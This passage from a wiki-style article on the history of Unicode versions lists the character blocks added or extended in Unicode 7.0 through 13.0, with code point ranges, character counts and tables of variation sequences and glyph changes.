=== New blocks ===

* '''Combining Diacritical Marks Extended''' (U+1AB0-U+1AFF), containing 15 marks, was added.
* '''Myanmar Extended-B''' (U+A9E0-U+A9FF), containing 31 letters, was added.
* '''Latin Extended-E''' (U+AB30-U+AB6F), containing 50 letters, was added.
* '''Coptic Epact Numbers''' (U+102E0-U+102FF), containing 28 numbers, was added.
* '''Old Permic''' (U+10350-U+1037F), containing 43 letters, was added.
* '''Elbasan''' (U+10500-U+1052F), containing 50 letters, was added.
* '''Caucasian Albanian''' (U+10530-U+1056F), containing 53 letters and marks, was added.
* '''Linear A''' (U+10600-U+1077F), containing 341 signs, was added.
* '''Palmyrene''' (U+10860-U+1087F), containing 32 letters, was added.
* '''Nabataean''' (U+10880-U+108AF), containing 40 letters and numbers, was added.
* '''Old North Arabian''' (U+10A80-U+10A9F), containing 32 letters and numbers, was added.
* '''Manichaean''' (U+10AC0-U+10AFF), containing 51 characters, was added.
* '''Psalter Pahlavi''' (U+10B80-U+10BAF), containing 29 characters, was added.
* '''Mahajani''' (U+11150-U+1117F), containing 39 letters and signs, was added.
* '''Sinhala Archaic Numbers''' (U+111E0-U+111FF), containing 20 numbers, was added.
* '''Khojki''' (U+11200-U+1124F), containing 61 characters, was added.
* '''Khudawadi''' (U+112B0-U+112FF), containing 69 characters, was added.
* '''Grantha''' (U+11300-U+1137F), containing 83 characters, was added.
* '''Tirhuta''' (U+11480-U+114DF), containing 82 characters, was added.
* '''Siddham''' (U+11580-U+115FF), containing 72 characters, was added.
* '''Modi''' (U+11600-U+1165F), containing 79 characters, was added.
* '''Warang Citi''' (U+118A0-U+118FF), containing 84 letters and numbers, was added.
* '''Pau Cin Hau''' (U+11AC0-U+11AFF), containing 57 characters, was added.
* '''Mro''' (U+16A40-U+16A6F), containing 43 characters, was added.
* '''Bassa Vah''' (U+16AD0-U+16AFF), containing 36 characters, was added.
* '''Pahawh Hmong''' (U+16B00-U+16B8F), containing 127 letters and signs, was added.
* '''Duployan''' (U+1BC00-U+1BC9F), containing 143 characters, was added.
* '''Shorthand Format Controls''' (U+1BCA0-U+1BCAF), containing 4 format characters, was added.
* '''Mende Kikakui''' (U+1E800-U+1E8DF), containing 213 syllables and numbers, was added.
* '''Ornamental Dingbats''' (U+1F650-U+1F67F), containing 48 pictographic characters, was added.
* '''Geometric Shapes Extended''' (U+1F780-U+1F7FF), containing 85 pictographic characters, was added.
* '''Supplemental Arrows-C''' (U+1F800-U+1F8FF), containing 148 pictographic characters, was added.

=== Extended blocks ===

* A capital letter Yot (total 1 character) was added to '''Greek and Coptic'''. (U+037F)
* Letters for Orok, Komi and Khanty (total 8 characters) were added to '''Cyrillic Supplement'''. (U+0528-U+052F)
* An Eternity sign (total 2 characters) were added to '''Armenian'''. (U+058D-U+058E)
* A Number Mark Above (total 1 character) was added to '''Arabic'''. (U+0605)
* Letters for African, Philippine, Turkic, Berber, Belarusian, Palula and Shina languages (total 8 characters) were added to '''Arabic Extended-A'''. (U+08A1, U+08AD-U+08B2 and U+08FF)
* A letter for Marwari (total 1 character) was added to '''Devanagari'''. (U+0978)
* A sign Anji (total 1 character) was added to '''Bengali'''. (U+0980)
* Sign Candrabindu and letter Llla (total 2 characters) were added to '''Telugu'''. (U+0C00 and U+0C34)
* A Sign Candrabindu (total 1 character) was added to '''Kannada'''. (U+0C81)
* A Sign Candrabindu (total 1 character) was added to '''Malayalam'''. (U+0D01)
* Lith Numerals (total 10 characters) were added to '''Sinhala'''. (U+0DE6-U+0DEF)
* Additional Old English runes (total 8 characters) were added to '''Runic'''. (U+16F1-U+16F8)
* Letters Gyan and Tra (total 2 characters) were added to '''Limbu'''. (U+191D-U+191E)
* Signs for Jaiminiya Sama Veda (total 2 characters) were added to '''Vedic Extensions'''. (U+1CF8-U+1CF9)
* Marks for Germanic and American lexicology (total 15 characters) were added to '''Combining Diacritical Marks Supplement'''. (U+1DE7-U+1DF5)
* Nordic Mark, Manat and Ruble sign (total 3 characters) were added to '''Currency Symbols'''. (U+20BB-U+20BD)
* Playback symbols from Webdings font (total 7 characters) were added to '''Miscellaneous Technical'''. (U+23F4-U+23FA)
* A Scissors symbol from Wingdings 2 font (total 1 character) was added to '''Dingbats'''. (U+2700)
* Arrows for Lithuanian dialectology and symbols from Wingdings 3 font (total 115 characters) were added to '''Miscellaneous Symbols and Arrows'''. (U+2B4D-U+2B4F, U+2B5A-U+2B5F, U+2B60-U+2B73, U+2B76-U+2B95, U+2B98-U+2BB9, U+2BBD-U+2BC8 and U+2BCA-U+2BD1)
* (total 7 characters) were added to '''Supplemental Punctuation'''. (U+2E3C-U+2E42)
* Early Cyrillic letters and letters for Lithuanian dialectology (total 6 characters) were added to '''Cyrillic Extended-B'''. (U+A698-U+A69D)
* Letters for European, American and African orthography (total 18 characters) were  added to '''Latin Extended-D'''. (U+A794-U+A79F, U+A7AB-U+A7AD, U+A7B0-U+A7B1 and U+A7F7)
* Tone marks for Tai Laing and letters for Shwe Palaung (total 4 characters) were added to '''Myanmar Extended-A'''. (U+AA7C-U+AA7F)
* Combining phonetic marks (total 7 characters) were added to '''Combining Half Marks'''. (U+FE27-U+FE2D)
* Additional mathematical symbols (total 2 characters) were added to '''Ancient Greek Numbers'''. (U+1018B-U+1018C)
* A Greek Tau Rho symbol (total 1 character) was added to '''Ancient Symbols'''. (U+101A0)
* A letter Ess (total 1 character) was added to '''Old Italic'''. (U+1031F)
* A Number Joiner (total 1 character) was added to '''Brahmi'''. (U+1107F)
* Sutra mark and sign Ekam (total 2 characters) were added to '''Sharada'''. (U+111CD and U+111DA)
* Additional cuneiform signs (total 42 characters) were added to '''Cuneiform'''. (U+1236F-U+12398)
* Additional numbers, vulgar fractions and a punctuation mark (total 13 characters) were added to '''Cuneiform Numbers and Punctuation'''. (U+12463-U+1246E and U+12474)
* Red Joker, Fool and trumps (total 23 characters) were added to '''Playing Cards'''. (U+1F0BF and U+1F0E0-U+1F0F5)
* Dingbat normal and negative sans-serif digit zero (total 2 characters) were added to '''Enclosed Alphanumeric Supplement'''. (U+1F10B-U+1F10C)
* Symbols from Webdings, Wingdings 1 and 2 font (total 209 characters) were added to '''Miscellaneous Symbols and Pictographs'''. (U+1F321-U+1F32C, U+1F336, U+1F37D, U+1F394-U+1F39F, U+1F3C5, U+1F3CB-U+1F3CE, U+1F3D4-U+1F3DF, U+1F3F1-U+1F3F7, U+1F43F, U+1F441, U+1F4F8, U+1F4FD-U+1F4FE, U+1F53E-U+1F53F, U+1F544-U+1F54A, U+1F568-U+1F579, U+1F57B-U+1F5A3 and U+1F5A5-U+1F5FA)
* Slightly frowning and smiling faces emoji (total 2 characters) were added to '''Emoticons'''. (U+1F641-U+1F642)
* Symbols from Webdings and Wingdings 2 font (total 27 characters) were added to '''Transport and Map Symbols'''. (U+1F6C6-U+1F6CF, U+1F6E0-U+1F6EC and U+1F6F0-U+1F6F3)

== Unicode 8.0 ==

Unicode 8.0 was released in June 17, 2015. It encoded 120,672 characters, adding 7,716 new characters.

=== New blocks ===

* '''Cherokee Supplement''' (U+AB70-U+ABBF), containing 80 lowercase letters, was added.
* '''Hatran''' (U+108E0-U+108FF), containing 26 letters, was added.
* '''Old Hungarian''' (U+10C80-U+10CFF), containing 108 letters, was added.
* '''Multani''' (U+11280-U+112AF), containing 38 letters, was added.
* '''Ahom''' (U+11700-U+1173F), containing 57 letters, was added.
* '''Early Dynastic Cuneiform''' (U+12480-U+1254F), containing 196 characters, was added.
* '''Anatolian Hieroglyphs''' (U+14400-U+1467F), containing 583 characters, was added.
* '''Sutton SignWriting''' (U+1D800-U+1DAAF), containing 672 signs, was added.
* '''Supplemental Symbols and Pictographs''' (U+1F900-U+1F9FF), containing 15 pictographic characters, was added.
* '''CJK Unified Ideographs Extension E''' (U+2B820-U+2CEAF), containing 5762 characters, was added.

=== Extended blocks ===

* Letters for Arwi (total 3 characters) were added to '''Arabic Extended-A'''. (U+08B3-U+08B4 and U+08E3)
* A letter for Avestan transliteration (total 1 character) was added to '''Gujarati'''. (U+0AF9)
* A letter for Andhra Pradesh (total 1 character) was added to '''Telugu'''. (U+0C5A)
* An archaic letter II (total 1 character) was added to '''Malayalam'''. (U+0D5F)
* A letter Mv and small letters (total 7 characters) were added to '''Cherokee'''. (U+13F5 and U+13F8-U+13FD)
* A Georgian Lari sign (total 1 character) was added to '''Currency Symbols'''. (U+20BE)
* Turned digits (total 2 characters) were added to '''Number Forms'''. (U+218A-U+218B)
* Two headed arrows with triangle arrowheads (total 4 characters) were added to '''Miscellaneous Symbols and Arrows'''. (U+2BEC-U+2BEF)
* Some additional ideographs (total 9 characters) were added to '''CJK Unified Ideographs'''. (U+9FCD-U+9FD5)
* A combining letter Ef (total 1 character) was added to '''Cyrillic Extended-B'''. (U+A69E)
* Sinological dot, phonetic extension for African languages, letters for American and Gabonese orthography (total 7 characters) were added to '''Latin Extended-D'''. (U+A78F and U+A7B2-U+A7B7)
* Sign Siddham and letter Jain Om (total 2 characters) were added to '''Devanagari Extended'''. (U+A8FC-U+A8FD)
* Letters for Yakut transliteration (total 4 characters) were added to '''Latin Extended-E'''. (U+AB60-U+AB63)
* A combining mark for Church Slavonic (total 2 characters) were added to '''Combining Half Marks'''. (U+FE2E-U+FE2F)
* Numerals and vulgar fractions (total 64 characters) were added to '''Meroitic Cursive'''. (U+109BC-U+109BD, U+109C0-U+109CF and U+109D2-U+109FF)
* Sandhi mark, diacritical marks for Kashmiri, sign Siddham and punctuation marks (total 9 characters) were added to '''Sharada'''. (U+111C9-U+111CC and U+111DB-U+111DF)
* Combining Anusvara Above and letter Om (total 2 characters) were added to '''Grantha'''. (U+11300 and U+11350)
* Section marks and alternate letters (total 20 characters) were added to '''Siddham'''. (U+115CA-U+115DD)
* An additional sign (total 1 character) was added to '''Cuneiform'''. (U+12399)
* East-Slavic musical symbols (total 11 characters) were added to '''Musical Symbols'''. (U+1D1DE-U+1D1E8)
* (total 24 characters) were added to '''Miscellaneous Symbols and Pictographs'''. (U+1F32D-U+1F32F, U+1F37E-U+1F37F, U+1F3CF-U+1F3D3, U+1F3F8-U+1F3FF, U+1F4FF and U+1F54B-U+1F54F)
* Upside Down Face and Face With Rolling Eyes emoji (total 2 characters) were added to '''Emoticons'''. (U+1F643-U+1F644)
* A Place of Worship emoji (total 1 character) was added to '''Transport and Map Symbols'''. (U+1F6D0)

== Unicode 9.0 ==

Unicode 9.0, was released in June 21, 2016. It encoded 128,172 characters, adding 7,500 new characters.

=== New blocks ===

* '''Cyrillic Extended-C''' (U+1C80-U+1C8F), containing 9 letters, was added.
* '''Osage''' (U+104B0-U+104FF), containing 72 letters, was added.
* '''Newa''' (U+11400-U+1147F), containing 92 letters, was added.
* '''Mongolian Supplement''' (U+11660-U+1167F), containing 13 letters, was added.
* '''Bhaiksuki''' (U+11C00-U+11C6F), containing 97 letters, was added.
* '''Marchen''' (U+11C70-U+11CBF), containing 68 letters, was added.
* '''Ideographic Symbols and Punctuation''' (U+16FE0-U+16FFF), containing 1 letter, was added.
* '''Tangut''' (U+17000-U+187FF), containing 6125 letters, was added.
* '''Tangut Components''' (U+18800-U+18AFF), containing 755 letters, was added.
* '''Glagolitic Supplement''' (U+1E000-U+1E02F), containing 38 letters, was added.
* '''Adlam''' (U+1E900-U+1E95F), containing 87 letters, was added.

=== Extended blocks ===

* Letters for Bravanese, Warsh and Quranic marks used in Pakistan (total 23 characters) were added to '''Arabic Extended-A'''. (U+08B6-U+08BD and U+08D4-U+08E2)
* A sign Spacing Candrabindu (total 1 character) were added to '''Kannada'''. (U+0C80)
* Sign Para, Chillu letters and vulgar fractions (total 14 characters) were added to '''Malayalam'''. (U+0D4F, U+0D54-U+0D56, U+0D58-U+0D5E and U+0D76-U+0D78)
* A diacritical mark for Newa (total 1 character) was added to '''Combining Diacritical Marks Supplement'''. (U+1DFB)
* Power symbols (total 4 characters) were added to '''Miscellaneous Technical'''. (U+23FB-U+23FE)
* Punctuation marks for Church Slavonic (total 2 characters) were added to '''Supplemental Punctuation'''. (U+2E43-U+2E44)
* A letter for Unifon (total 1 character) was added to '''Latin Extended-D'''. (U+A7AE)
* A sign Candrabindu (total 1 character) was added to '''Saurashtra'''. (U+A8C5)
* Indiction sign and a currency symbol (total 2 characters) were added to '''Ancient Greek Numbers'''. (U+1018D-U+1018E)
* A sign Sukun (total 1 character) was added to '''Khojki'''. (U+1123E)
* Japanese TV symbols (total 18 characters) were added to '''Enclosed Alphanumeric Supplement'''. (U+1F19B-U+1F1AC)
* A Japanese TV symbol (total 1 character) was added to '''Enclosed Ideographic Supplement'''. (U+1F23B)
* A dancing man and Black Heart emoji (total 2 characters) were added to '''Miscellaneous Symbols and Pictographs'''. (U+1F57A and U+1F5A4)
* Octagonal Sign, Shopping Trolley, scooters and a Canoe emoji (total 5 characters) were added to '''Transport and Map Symbols'''. (U+1F6D1-U+1F6D2 and U+1F6F4-U+1F6F6)
* (total 67 characters) were added to '''Supplemental Symbols and Pictographs'''. (U+1F919-U+1F91E, U+1F920-U+1F927, U+1F930, U+1F933-U+1F93E, U+1F940-U+1F94B, U+1F950-U+1F95E and U+1F985-U+1F991)

===Variation Sequences===
Here is a table with new standardized variation sequences:
{| class=&quot;wikitable mw-collapsible mw-collapsed&quot;
|-
!Character Sequence
!Context
!Description of Variation Appearance
|-
|0030 FE00
|
|short diagonal stroke form # DIGIT ZERO
|-
|1000 FE00
|
|dotted form # MYANMAR LETTER KA
|-
|1002 FE00
|
|dotted form # MYANMAR LETTER GA
|-
|1004 FE00
|
|dotted form # MYANMAR LETTER NGA
|-
|1010 FE00
|
|dotted form # MYANMAR LETTER TA
|-
|1011 FE00
|
|dotted form # MYANMAR LETTER THA
|-
|1015 FE00
|
|dotted form # MYANMAR LETTER PA
|-
|1019 FE00
|
|dotted form # MYANMAR LETTER MA
|-
|101A FE00
|
|dotted form # MYANMAR LETTER YA
|-
|101C FE00
|
|dotted form # MYANMAR LETTER LA
|-
|101D FE00
|
|dotted form # MYANMAR LETTER WA
|-
|1022 FE00
|
|dotted form # MYANMAR LETTER SHAN A
|-
|1031 FE00
|
|dotted form # MYANMAR VOWEL SIGN E
|-
|1075 FE00
|
|dotted form # MYANMAR LETTER SHAN KA
|-
|1078 FE00
|
|dotted form # MYANMAR LETTER SHAN CA
|-
|107A FE00
|
|dotted form # MYANMAR LETTER SHAN NYA
|-
|1080 FE00
|
|dotted form # MYANMAR LETTER SHAN THA
|-
|2205 FE00
|
|zero with long diagonal stroke overlay form # EMPTY SET
|-
|AA60 FE00
|
|dotted form # MYANMAR LETTER KHAMTI GA
|-
|AA61 FE00
|
|dotted form # MYANMAR LETTER KHAMTI CA
|-
|AA62 FE00
|
|dotted form # MYANMAR LETTER KHAMTI CHA
|-
|AA63 FE00
|
|dotted form # MYANMAR LETTER KHAMTI JA
|-
|AA64 FE00
|
|dotted form # MYANMAR LETTER KHAMTI JHA
|-
|AA65 FE00
|
|dotted form # MYANMAR LETTER KHAMTI NYA
|-
|AA66 FE00
|
|dotted form # MYANMAR LETTER KHAMTI TTA
|-
|AA6B FE00
|
|dotted form # MYANMAR LETTER KHAMTI NA
|-
|AA6C FE00
|
|dotted form # MYANMAR LETTER KHAMTI SA
|-
|AA6F FE00
|
|dotted form # MYANMAR LETTER KHAMTI FA
|-
|AA7A FE00
|
|dotted form # MYANMAR LETTER AITON RA
|-
|…
|
|278 additional emoji variation sequences
|}

== Unicode 10.0 ==

Unicode 10.0, was released in June 20, 2017. It encoded 136,690 characters, adding 8,518 new characters.

=== New blocks ===

* '''Syriac Supplement''' (U+0860-U+086F), containing 11 characters, was added.
* '''Zanabazar Square''' (U+11A00-U+11A4F), containing 72 characters, was added.
* '''Soyombo''' (U+11A50-U+11AAF), containing 80 characters, was added.
* '''Masaram Gondi''' (U+11D00-U+11D5F), containing 75 characters, was added.
* '''Kana Extended-A''' (U+1B100-U+1B12F), containing 31 characters, was added.
* '''Nushu''' (U+1B170-U+1B2FF), containing 396 characters, was added.
* '''CJK Unified Ideographs Extension F''' (U+2CEB0-U+2EBEF), containing 7,473 characters, was added.

=== Extended blocks ===

* A Vedic Anusvara and Abbreviation mark (total 2 characters) were added to '''Bengali'''. (U+09FC-U+09FD)
* Letters for Arabic transliteration (total 6 characters) were added to '''Gujarati'''. (U+0AFA-U+0AFF)
* A combining Anusvara Above and Viramas (total 3 characters) were added to '''Malayalam'''. (U+0D00 and U+0D3B-U+0D3C)
* A sign Atikrama (total 1 character) was added to '''Vedic Extensions'''. (U+1CF7)
* Combining diacritical marks for Church Slavonic (total 4 characters) were added to '''Combining Diacritical Marks Supplement'''. (U+1DF6-U+1DF9)
* A Bitcoin sign (total 1 character) was added to '''Currency Symbols'''. (U+20BF)
* An Observe Eye symbol (total 1 character) was added to '''Miscellaneous Technical'''. (U+23FF)
* A Group mark (total 1 character) was added to '''Miscellaneous Symbols and Arrows'''. (U+2BD2)
* Medieval punctuation marks (total 5 characters) were added to '''Supplemental Punctuation'''. (U+2E45-U+2E49)
* A letter O with Dot Above (total 1 character) was added to '''Bopomofo'''. (U+312E)
* Ideographs for Slavonic transliteration (total 21 characters) were added to '''CJK Unified Ideographs'''. (U+9FD6-U+9FEA)
* Letters for North Italic (total 3 characters) were added to '''Old Italic'''. (U+1032D-U+1032F)
* An Iteration mark for Nushu (total 1 character) was added to '''Ideographic Symbols and Punctuation'''. (U+16FE1)
* Letters for Hentaigana (total 254 characters) were added to '''Kana Supplement'''. (U+1B002-U+1B0FF)
* Symbols for Chinese Folk religion (total 6 characters) were added to '''Enclosed Ideographic Supplement'''. (U+1F260-U+1F265)
* Stupa, Pagoda, Sled and Flying Saucer emoji (total 4 characters) were added to '''Transport and Map Symbols'''. (U+1F6D3-U+1F6D4 and U+1F6F7-U+1F6F8)
* (total 66 characters) were added to '''Supplemental Symbols and Pictographs'''. (U+1F900-U+1F90B, U+1F91F, U+1F928-U+1F92F, U+1F931-U+1F932, U+1F94C, U+1F95F-U+1F96B, U+1F992-U+1F997 and U+1F9D0-U+1F9E6)

== Unicode 11.0 ==

Unicode 11.0, was released in June 5, 2018. It encoded 137,374 characters, adding 684 new characters.

=== New blocks ===

* '''Georgian Extended''' (U+1C90-U+1CBF), containing 46 characters, was added.
* '''Hanifi Rohingya''' (U+10D00-U+10D3F), containing 50 characters, was added.
* '''Old Sogdian''' (U+10F00-U+10F2F), containing 40 characters, was added.
* '''Sogdian''' (U+10F30-U+10F6F), containing 42 characters, was added.
* '''Dogra''' (U+11800-U+1184F), containing 60 characters, was added.
* '''Gunjala Gondi''' (U+11D60-U+11DAF), containing 63 characters, was added.
* '''Makasar''' (U+11EE0-U+11EFF), containing 25 characters, was added.
* '''Medefaidrin''' (U+16E40-U+16E9F), containing 91 characters, was added.
* '''Mayan Numerals''' (U+1D2E0-U+1D2FF), containing 20 characters, was added.
* '''Indic Siyaq Numbers''' (U+1EC70-U+1ECBF), containing 68 characters, was added.
* '''Chess Symbols''' (U+1FA00-U+1FA6F), containing 14 characters, was added.

=== Extended blocks ===

* Small letters Turned Ayb and Yi with Stroke (total 2 characters) were added to '''Armenian'''. (U+0560 and U+0588)
* A triangle Yod (total 1 character) were added to '''Hebrew'''. (U+05EF)
* A Dantayalan and currency symbols (total 3 characters) were added to '''N'Ko'''. (U+07FD-U+07FF)
* A Small Low Waw (total 1 character) was added to '''Arabic Extended-A'''. (U+08D3)
* A Sandhi mark (total 1 character) was added to '''Bengali'''. (U+09FE)
* An Abbreviation mark (total 1 character) was added to '''Gurmukhi'''. (U+0A76)
* A combining Anusvara Above (total 1 character) was added to '''Telugu'''. (U+0C04)
* A sign Siddham (total 1 character) was added to '''Kannada'''. (U+0C84)
* A letter for Buryat (total 1 character) was added to '''Mongolian'''. (U+1878)
* Symbols for chess notation, astrological and half star symbols (total 43 characters) were added to '''Miscellaneous Symbols and Arrows'''. (U+2BBA-U+2BBC, U+2BD3-U+2BEB and 2BF0-U+2BFE)
* Medieval punctuation marks (total 5 characters) were added to '''Supplemental Punctuation'''. (U+2E4A-U+2E4E)
* A letter NN (total 1 character) was added to '''Bopomofo'''. (U+312F)
* Some ideographs for Kanji (total 5 characters) were added to '''CJK Unified Ideographs'''. (U+9FEB-U+9FEF)
* A small capital Q and a letter for Mazahua (total 3 characters) were added to '''Latin Extended-D'''. (U+A7AF and U+A7B8-U+A7B9)
* Letter and vowel sign Ay (total 2 characters) were added to '''Devanagari Extended'''. (U+A8FE-U+A8FF)
* Letters Ttta, Vha and a vulgar fraction (total 3 characters) were added to '''Kharoshthi'''. (U+10A34-U+10A35 and U+10A48)
* A Number Sign Above (total 1 character) was added to '''Kaithi'''. (U+110CD)
* Letter Lhaa, vowel sign Aa and Ei (total 3 characters) were added to '''Chakma'''. (U+11144-U+11146)
* A combining Bindu Below (total 1 character) was added to '''Grantha'''. (U+1133B)
* A Sandhi mark (total 1 character) was added to '''Newa'''. (U+1145E)
* An alternate letter Ba (total 1 character) was added to '''Ahom'''. (U+1171A)
* A mark Pluta (total 1 character) was added to '''Soyombo'''. (U+11A9D)
* Additional ideographs (total 5 characters) were added to '''Tangut'''. (U+187ED-U+187F1)
* Tally marks (total 7 characters) were added to '''Counting Rod Numerals'''. (U+1D372-U+1D378)
* A Copyleft symbol (total 1 character) was added to '''Enclosed Alphanumeric Supplement'''. (U+1F12F)
* A Skateboard emoji (total 1 character) was added to '''Transport and Map Symbols'''. (U+1F6F9)
* Normal and negative circled shapes (total 4 characters) were added to '''Geometric Shapes Extended'''. (U+1F7D5-U+1F7D8)
* (total 65 characters) were added to '''Supplemental Symbols and Pictographs'''. (U+1F94D-U+1F94F, U+1F96C-U+1F970, U+1F973-U+1F976, U+1F97A, U+1F97C-U+1F97F, U+1F998-U+1F99F, U+1F9A0-U+1F9A2, U+1F9B0-U+1F9B9, U+1F9C1-U+1F9C2 and U+1F9E7-U+1F9FF)

===Variation Sequences===
Here is a table with new standardized variation sequences:
{| class=&quot;wikitable mw-collapsible mw-collapsed&quot;
|-
!Character Sequence
!Context
!Description of Variation Appearance
|-
|FF10 FE00
|
|short diagonal stroke form # FULLWIDTH DIGIT ZERO
|}

== Unicode 12.0 ==

Unicode 12.0 was released on March 5, 2019. It encoded 137,928 characters, adding 554 new characters.

=== New blocks ===

* '''Elymaic''' (U+10FE0-U+10FFF), containing 23 characters, was added.
* '''Nandinagari''' (U+119A0-U+119FF), containing 65 characters, was added.
* '''Tamil Supplement''' (U+11FC0-U+11FFF), containing 51 characters, was added.
* '''Egyptian Hieroglyph Format Controls''' (U+13430-U+1343F), containing 9 characters, was added.
* '''Small Kana Extension''' (U+1B130-U+1B16F), containing 7 characters, was added.
* '''Nyiakeng Puachue Hmong''' (U+1E100-U+1E14F), containing 71 characters, was added.
* '''Wancho''' (U+1E2C0-U+1E2FF), containing 59 characters, was added.
* '''Ottoman Siyaq Numbers''' (U+1ED00-U+1ED4F), containing 61 characters, was added.
* '''Symbols and Pictographs Extended-A''' (U+1FA70-U+1FAFF), containing 16 characters, was added.

=== Extended blocks ===

* A sign Siddham (total 1 character) was added to '''Telugu'''. (U+0C77)
* Letters for Pail and Sanskrit (total 15 characters) were added to '''Lao'''. (U+0E86, U+0E89, U+0E8C, U+0E8E-U+0E93, U+0E98, U+0EA0, U+0EA8-U+0EA9, U+0EAC and U+0EBA)
* A sign Double Anusvara Antargomukha (total 1 character) was added to '''Vedic Extensions'''. (U+1CFA)
* An astrological symbol and Hellschreiber Pause symbol (total 2 characters) were added to '''Miscellaneous Symbols and Arrows'''. (U+2BC9 and U+2BFF)
* A Cornish Verse Divider (total 1 character) was added to '''Supplemental Punctuation'''. (U+2E4F)
* Egyptological letters, Anglicana W and letters for early Pinyin (total 11 characters) were added to '''Latin Extended-D'''. (U+A7BA-U+A7BF and U+A7C2-U+A7C6)
*Sinological phonetic letters (total 2 characters) were added to '''Latin Extended-E'''. (U+AB66-U+AB67)
* A Vedic Anusvara (total 1 character) was added to '''Newa'''. (U+1145F)
* An archaic letter Kha (total 1 character) was added to '''Takri'''. (U+116B8)
* Sign Jihvamuliya and Uphadhmaniya (total 2 characters) were added to '''Soyombo'''. (U+11A84-U+11A85)
* Letters for various Yi and Miao languages (total 16 characters) were added to '''Miao'''. (U+16F45-U+16F4A, U+16F4F and U+16F7F-U+16F87)
* Marks for Ancient Chinese texts (total 2 characters) were added to '''Ideographic Symbols and Punctuation'''. (U+16FE2-U+16FE3)
* Some additional ideographs (total 6 characters) were added to '''Tangut'''. (U+187F2-U+187F7)
* A Nasalization mark (total 1 character) was added to '''Adlam'''. (U+1E94B)
* A Spanish and Portuguese register mark (total 1 character) was added to '''Enclosed Alphanumeric Supplement'''. (U+1F16C)
* Hindu Temple and Auto Rickshaw emoji (total 2 characters) were added to '''Transport and Map Symbols'''. (U+1F6D5 and U+1F6FA)
* Large colored circles and boxes (total 12 characters) were added to '''Geometric Shapes Extended'''. (U+1F7E0-U+1F7EB)
* (total 31 characters) were added to '''Supplemental Symbols and Pictographs'''. (U+1F90D-U+1F90F, U+1F93F, U+1F971, U+1F97B, U+1F9A5-U+1F9AA, U+1F9AE-U+1F9AF, U+1F9BA-U+1F9BF, U+1F9C3-U+1F9CA and U+1F9CD-U+1F9CF)
* Heterodox chess symbols (total 84 characters) were added to '''Chess Symbols'''. (U+1FA00-U+1FA53)

=== Glyph Changes ===
Here is a table with glyph changes:
{| class=&quot;wikitable mw-collapsible mw-collapsed&quot;
!Block Name
!Code Points
!Count
|-
|Spacing Modifier Letters
|02EA, 02EB
|2
|-
|Vedic Extensions
|1CF2..1CF3
|2
|-
|Currency Symbols
|20A9
|1
|-
|CJK Symbols and Punctuation
|3001, 3002
|2
|-
|Bopomofo
|3105..312F
|43
|-
|Bopomofo Extended
|31A0..31BA
|27
|-
|CJK Unified Ideographs Extension A
|37C3, 3B9D, 3CFD, 3FE0, 44EC, 4A76
|6
|-
|CJK Unified Ideographs
|5344, 55B9, 6ABC, 6FF9, 809E, 80BC, 80E9, 8132, 8159, 841C, 891D, 8C6C, 915E, 9FD4
|14
|-
|Phags-pa
|A840..A877
|56
|-
|Halfwidth and Fullwidth Forms
|FF01, FF0C, FF0E, FF1A, FF1B, FF1F
|6
|-
|CJK Unified Ideographs Extension B
|200DD, 20164, 20BBF, 20C02, 20CED, 21D4C, 2278B, 23AB8, 2459B, 24A7D, 24FB9, 25ED7, 2677C, 26B4C, 26C21, 26CBE, 26E3D, 28834, 289A1, 289C0, 28A0F, 28B46
|22
|-
|CJK Unified Ideographs Extension C
|2A8FB, 2A917, 2AA30
|3
|-
|CJK Unified Ideographs Extension E
|2BA52, 2BD77, 2C494, 2C72F, 2C734, 2CB38
|6
|-
|CJK Unified Ideographs Extension F
|2D23B, 2E83A
|2
|-
! colspan=&quot;2&quot; |Total
!192
|}

===Variation Sequences===
Here is a table with new standardized variation sequences:
{| class=&quot;wikitable mw-collapsible mw-collapsed&quot;
|-
!Character Sequence
!Context
!Description of Variation Appearance
|-
|3001 FE00
|
|corner-justified form # IDEOGRAPHIC COMMA
|-
|3001 FE01
|
|centered form # IDEOGRAPHIC COMMA
|-
|3002 FE00
|
|corner-justified form # IDEOGRAPHIC FULL STOP
|-
|3002 FE01
|
|centered form # IDEOGRAPHIC FULL STOP
|-
|FF01 FE00
|
|corner-justified form # FULLWIDTH EXCLAMATION MARK
|-
|FF01 FE01
|
|centered form # FULLWIDTH EXCLAMATION MARK
|-
|FF0C FE00
|
|corner-justified form # FULLWIDTH COMMA
|-
|FF0C FE01
|
|centered form # FULLWIDTH COMMA
|-
|FF0E FE00
|
|corner-justified form # FULLWIDTH FULL STOP
|-
|FF0E FE01
|
|centered form # FULLWIDTH FULL STOP
|-
|FF1A FE00
|
|corner-justified form # FULLWIDTH COLON
|-
|FF1A FE01
|
|centered form # FULLWIDTH COLON
|-
|FF1B FE00
|
|corner-justified form # FULLWIDTH SEMICOLON
|-
|FF1B FE01
|
|centered form # FULLWIDTH SEMICOLON
|-
|FF1F FE00
|
|corner-justified form # FULLWIDTH QUESTION MARK
|-
|FF1F FE01
|
|centered form # FULLWIDTH QUESTION MARK
|}

== Unicode 12.1 ==

Unicode 12.1 was released on May 7, 2019. It encoded 137,929 characters, adding only 1 new character.

=== Extended blocks ===
* A square era name Reiwa (total 1 character) was added to '''Enclosed CJK Letters and Months'''. (U+32FF)

== Unicode 13.0 ==

Unicode 13.0 was released on March 10, 2020. It encoded 143,859 characters, adding 5,930 new characters.

=== New blocks ===

* '''Yezidi''' (U+10E80-U+10EBF), containing 47 characters, was added.
* '''Chorasmian''' (U+10FB0-U+10FDF), containing 28 characters, was added.
* '''Dives Akuru''' (U+11900-U+1195F), containing 72 characters, was added.
* '''Lisu Supplement''' (U+11FB0-U+11FBF), containing 1 character, was added.
* '''Khitan Small Script''' (U+18B00-U+18CFF), containing 470 characters, was added.
* '''Tangut Supplement''' (U+18D00-U+18D08), containing 9 characters, was added.
* '''Symbols for Legacy Computing''' (U+1FB00-U+1FBFF), containing 212 characters, was added.
* '''CJK Unified Ideographs Extension G''' (U+30000-U+3134F), containing 4939 characters, was added.

=== Extended blocks ===

* Letters for African languages and Punjabi (total 10 characters) were added to '''Arabic Extended-A'''. (U+08BE-U+08C7)
* A sign Overline (total 1 character) was added to '''Oriya'''. (U+0B55)
* A Vedic Anusvara (total 1 character) was added to '''Malayalam'''. (U+0D04)
* A sign Candrabindu (total 1 character) was added to '''Sinhala'''. (U+0D81)
* Combining diacritical marks for Scottish phonology (total 2 characters) were added to '''Combining Diacritical Marks Extended'''. (U+1ABF-U+1AC0)
* A Japanese symbol for Type A Electronics (total 1 character) was added to '''Miscellaneous Symbols and Arrows'''. (U+2B97)
